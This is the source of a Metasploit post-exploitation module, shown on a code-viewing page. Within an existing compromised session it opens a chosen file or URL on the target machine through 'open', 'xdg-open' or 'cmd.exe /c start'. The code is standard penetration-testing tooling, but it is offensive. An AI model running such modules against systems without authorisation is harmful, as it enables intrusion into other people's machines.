Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/open.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6def initialize(info = {})7super(8update_info(9info,10'Name' => 'Open a file or URL on the target computer',11'Description' => %q{12This module will open any file or URL specified with the URI format on the13target computer via the embedded commands such as 'open' or 'xdg-open'.14},15'License' => MSF_LICENSE,16'Author' => [ 'Eliott Teissonniere'],17'Platform' => [ 'osx', 'linux', 'win' ],18'SessionTypes' => [ 'shell', 'meterpreter' ]19)20)2122register_options(23[24OptString.new('URI', [true, 'URI path to open'])25]26)27end2829#30# The OSX version simply uses 'open'31#32def osx_open(uri)33begin34cmd_exec("open #{uri}")35rescue EOFError36return false37end3839true40end4142#43# The Linux version relies on 'xdg-open'44#45def linux_open(uri)46begin47cmd_exec("xdg-open #{uri}")48rescue EOFError49return false50end5152true53end5455def win_open(uri)56begin57cmd_exec("cmd.exe /c start #{uri}")58rescue EOFError59return false60end6162true63end6465def open(uri)66case session.platform67when 'osx'68return osx_open(uri)69when 'linux'70return linux_open(uri)71when 'windows'72return win_open(uri)73end74end7576def run77uri = datastore['URI']7879print_status("Opening #{uri}")80if open(uri)81print_good('Success')82else83print_error('Command failed')84end85end86end878889